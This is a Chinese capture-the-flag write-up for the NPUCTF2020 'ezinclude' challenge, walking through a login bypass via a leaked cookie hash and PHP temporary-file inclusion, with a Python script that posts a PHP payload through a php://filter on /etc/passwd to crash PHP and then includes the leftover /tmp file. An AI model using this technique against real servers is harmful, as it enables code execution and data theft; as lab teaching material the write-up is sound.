[NPUCTF2020]ezinclude

这里打开便是显示用户名密码错误

查看页面源代码发现md5(secret.name)===pass,我们根本就不知道secret的值,所以就

先尝试输入name=1,抓包,发现cookie处有哈希值

将name等于7时,哈希值有所不同

所以这个哈希值就是pass的值,所以我们可以另name为1,pass为name为1是的Hash

返回404

查看抓到的登录包,发现在响应包中有flflflflag.php文件

访问flflflflag.php文件并抓包查看

发现这是文件包含,使用伪协议会返回首页面,没有别的内容

使用dirsearch进行目录扫描发现dir.php文件,访问一下

页面显示的 array(2) { 0=> string(1) "." 1=> string(2) ".." } 是典型的 PHP scandir() 函数的输出结果,表示当前目录下只有"当前目录 (.)"和"上级目录 (..)"。说明当前目录是干净的而只有 /tmp 目录在没有上传任务时经常是空的,只有 . 和 ..

这里考察的是PHP临时文件包含,其基本是两种情况:

1.利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除

2.PHP版本<7.2,利用php崩溃留下临时文件

使用py脚本尝试写入shell

复制代码
import requests
from io import BytesIO
 
payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

绕过 include($_GET"file") 的限制,通过 php://filter 构造一个可写的临时文件。

利用 POST 上传的 file 字段,将恶意 PHP 代码写入到临时文件中。

让 PHP 包含并执行这个临时文件,从而获取服务器信息或读取敏感数据。

然后访问dir.php,发现有了一个phpFuLK0i文件

然后就可以查看/tmp目录下phpFuLK0i文件发现并不能直接访问tmp目录下的文件../一层一层尝试即可,访问执行后发现flag在phpinfo页中

相关推荐
IT小白杨16 分钟前
短视频多账号运营环境管理指南:指纹浏览器与云手机技术解析
大数据·经验分享·web安全·智能手机·音视频·指纹浏览器
古法安卓26 分钟前
Android-SELinux 策略调试实战:从 AVC 日志到策略修复
android·java·android studio
Dovis(誓平步青云)1 小时前
DevEco Studio 6.1.1 Windows 安装实录:从下载校验到首次启动
android·开发语言·数据库·人工智能·windows·harmonyos
Zender Han1 小时前
Flutter 自适应(Adaptive)与响应式(Responsive)设计实践:官方推荐方案详解
android·flutter·ios
我命由我123452 小时前
Android 开发问题:TopAppBar 和 topAppBarColors API is experimental...
android·java·java-ee·kotlin·android studio·android jetpack·android-studio
造火箭2 小时前
Android UI自动化测试可行性评估SKILL
android·功能测试·ui
其实防守也摸鱼3 小时前
红队技能总结导图:从入门到精通的完整知识体系
开发语言·人工智能·学习·安全·web安全
云水一下4 小时前
零基础玩转bWAPP靶场(六十三):Drupal SQL Injection (Drupageddon)
sql·web安全·bwapp
hunterandroid4 小时前
[Android 从零到一] ViewPager2 与 Fragment 生命周期协同:从预加载到状态一致性
android·前端
mmsx4 小时前
一个黑边 Bug 修了两版:自己算矩阵直接黑屏,借库重建只用了一行 setZoom
android·前端